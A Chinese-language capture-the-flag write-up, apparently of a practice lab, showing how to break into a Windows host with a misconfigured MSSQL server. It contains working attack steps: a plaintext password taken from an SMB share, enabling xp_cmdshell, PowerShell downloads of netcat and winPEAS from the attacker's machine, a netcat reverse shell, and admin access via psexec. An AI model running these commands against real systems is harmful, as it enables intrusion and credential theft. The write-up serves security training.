• Microsoft SQL Server中的错误配置


    介绍

    这篇文章将介绍如何利用Microsoft SQL Server中的错误配置,尝试获取反向shell并熟悉Impacket工具的使用,以便进一步攻击某些服务。

    impacket的安装地址:https://github.com/SecureAuthCorp/impacket

    Impacket是用于处理网络协议的Python类的集合。Impacket的重点是提供对数据包和某些协议(例如SMB1-3和MSRPC)的低级别编程访问,以及协议实现本身。包可以从头开始构建,也可以从原始数据中解析,而面向对象的API使处理协议的深层层次变得简单。

    列举

    执行网络扫描以检测哪些端口处于打开状态,这已经成为渗透测试过程的重要组成部分。因为这个能让我们更好地了解攻击面和目标的情况,让我们能够更好的进行针对性的攻击。

    nmap -sC -sV 10.129.95.187
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    我们发现 SMB 端口已打开,并且 Microsoft SQL Server 2017 正在端口 1433 上运行。我们将使用工具smbclient 枚举 SMB:

    smbclient -N -L \\\\10.129.95.187\\
    -N:无密码
    -L:此选项允许我们查看服务器上可用的服务
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    我们尝试进行访问

    smbclient -N \\\\10.129.95.187\\backups
    
    • 1

    在这里插入图片描述

    有一个名为prod.dtsConfig的文件,看起来像一个配置文件。我们可以使用get命令将其下载到我们的本地计算机进行进一步的脱机检查。

    该文件将保存在我们启动的 SMB 会话目录中。以下是文件的内容:

    cat prod.dtsConfig 
    
    • 1

    在这里插入图片描述

    通过查看此配置文件的内容,我们在明文中发现了主机原型的用户sql_svc的密码,即M3g4c0rp123。使用提供的凭据,我们只需要一种方法来连接和验证 MSSQL 服务器。Impacket工具包括一个有价值的python脚本,称为mssqlclient.py它提供了这样的功能。

    cd impacket/examples/
    python3 mssqlclient.py -h
    
    • 1
    • 2

    在这里插入图片描述

    在这里插入图片描述

    了解提供的选项后,我们可以尝试通过执行以下命令连接到 MSSQL 服务器:

    -windows-auth:此标志被指定为使用Windows身份验证

    python3 mssqlclient.py ARCHETYPE/sql_svc@10.129.95.187 -windows-auth
    M3g4c0rp123
    
    • 1
    • 2

    在这里插入图片描述

    ARCHETYPE/sql_svc一定是反斜杠,如果按照用户名的斜杆会出问题,报登录失败,多试几次反斜杠,会有正确的时候。

    我们已成功通过微软 SQL Server 的身份验证

    立足

    连接成功后,我们进一步检查 SQL shell 的帮助选项:

    help
    
    • 1

    在这里插入图片描述

    帮助选项描述了它提供的基本功能,这意味着我们需要对此进行进一步的研究,以了解每个功能的内部工作原理。

    这里有两篇很棒的文章,可以指导我们进一步探索MSSQL Server:

    https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server

    https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet

    作为第一步,我们需要检查我们在服务器中的角色是什么。我们将使用下述备忘单中的命令:

    select is_srvrolemember('sysadmin');
    
    • 1

    在这里插入图片描述

    输出为1,转换为True。

    在之前的备忘单中,我们还发现了如何通过xp_cmdshell设置命令执行:

    exec xp_cmdshell 'net user';— privOn MSSQL2005我们可能需要先重新激活xp_cmdshell,因为它默认处于禁用状态:
    
    exec sp_configure 'show advanced options', 1;— 私人重新配置;— 私人
    
    exec sp_configure'xp_cmdshell', 1;— 私人重新配置;— 私人
    
    • 1
    • 2
    • 3
    • 4
    • 5

    首先,建议通过发出第一个命令xp_cmdshell来检查是否已激活:

    exec xp_cmdshell 'net user';
    
    • 1

    在这里插入图片描述

    确实没有被激活。因此,我们需要按如下方式继续激活:

    EXEC sp_configure 'show advanced options', 1;
    reconfigure;
    sp_configure;
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    EXEC sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
    
    • 1
    • 2

    在这里插入图片描述

    最后,我们执行了以下命令

    xp_cmdshell "whoami"
    
    • 1

    在这里插入图片描述

    现在,我们将尝试获得一个稳定的反向外壳。我们将上传NC64.exe二进制到目标CMD.exe机器并执行

    我们可以从kali上面下载二进制文件,在我们的侦听端口上处理。

    我们导航到存放着nc.exe的文件夹,然后使用以下命令启动简单的 HTTP 服务器,然后在不同的选项卡中启动 netcat 侦听器:

    python3 -m http.server 80
    
    • 1

    在这里插入图片描述

    nc -lvnp 443
    
    • 1

    在这里插入图片描述

    为了在目标系统中上传二进制文件,我们需要为此找到合适的文件夹。我们将PowerShell用于以下任务,因为它为我们提供了比常规命令更多的功能Powershell -c 命令。为了使用它,我们每次要执行它时都必须指定它,直到我们得到反向 shell。为此,我们将使用以下语法:

    -c,该标志指示powershell执行命令。

    我们将通过发布以下内容来打印当前工作目录:

    xp_cmdshell "powershell -c pwd"
    
    • 1

    在这里插入图片描述

    ifconfig
    
    • 1

    在这里插入图片描述

    我们找到了放置二进制文件的文件夹。为此,我们将在powershell当中使用wget (wget实际上只是Invoke-WebRequest 的别名):

    xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.16.34/nc64.exe -outfile nc64.exe"
    
    • 1

    在这里插入图片描述

    我们可以在简单的 Python HTTP 服务器上验证目标机器是否确实执行了请求:

    在这里插入图片描述

    现在,我们可以绑定cmd.exe通过nc去监听

    xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.16.34 443"
    
    • 1

    在这里插入图片描述

    最后回顾一下我们的 netcat 侦听器,我们可以确认我们的反向 shell 和我们对系统的立足点:

    在这里插入图片描述

    user.txt可以在用户的桌面中找到:

    在这里插入图片描述

    type user.txt
    
    • 1

    在这里插入图片描述

    3e7b102e78218e935bf3f4951fec21a3

    权限提升

    对于权限提升,我们将使用一个名为winPEAS的工具,它可以自动执行目标系统中大部分枚举过程。

    https://www.freebuf.com/articles/web/281863.html,winpeas是windows提权工具,可以扫描windows服务器的漏洞。

    我们将再次使用 Python HTTP 服务器将winpeas传输到我们的目标系统:

    powershell
    wget http://10.10.16.34/winPEASx64.exe -outfile winPEASx64.exe
    
    • 1
    • 2

    在这里插入图片描述

    在这里插入图片描述

    我们成功下载了二进制文件。要执行它,我们将执行以下操作:

    .\winPEASx64.exe
    
    • 1

    注意:该工具的输出很长,在这里我们只会看到输出的一小部分。

    在这里插入图片描述

    在这里插入图片描述

    从输出中我们可以观察到我们拥有的SeImpersonatePrivilege(可以找到更多信息),这也容易受到Juicy Potato的影响。但是,我们可以首先检查可以找到凭据的两个现有文件。

    由于这是一个普通用户帐户和服务帐户,因此值得检查频繁访问的文件或执行的命令。为此,我们将读取PowerShell历史记录文件,这相当于linux系统的.bash_history。该ConsoleHost_history.txt文件可以位于目录中C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\。

    我们可以导航到存储PowerShell历史记录的文件夹:

    cd AppData
    cd Roaming\Microsoft\Windows\PowerShell\PSReadline\
    dir
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    去阅读ConsoleHost_history.txt文件

    type ConsoleHost_history.txt
    
    • 1

    在这里插入图片描述

    user:administrator MEGACORP_4dm1n!!

    我们以明文形式获得了管理员用户的密码,我们现在可以从Impacket套件中再次使用psexec.py工具以管理员身份获取shell:

    psexec.py administrator@10.129.95.187
    MEGACORP_4dm1n!!
    
    • 1
    • 2

    在这里插入图片描述

    现在可以在管理员用户的桌面上找到根标志:

    在这里插入图片描述

    b91ccec3305e98240082d4474b848528

  • 相关阅读:
    Linux:系统安全及应用
    win | wireshark | 在win上跑lua脚本 解析数据包
    vue内置组件:keep-alive
    使用Spire.PDF for Python插件从PDF文件提取文字和图片信息
    用 js 实现判断是否是小数
    索尼PS VR2体验:硬件素质不错,高质量游戏是关键
    JVM内存管理模型(初步)
    Redis数据类型之set
    LeetCode-779. 第K个语法符号【递归,绝对好理解】
    UE5富文本框学习(用途:A(名字)用刀(图片)击杀B(名字))
  • 原文地址:https://blog.csdn.net/m0_53008479/article/details/128072638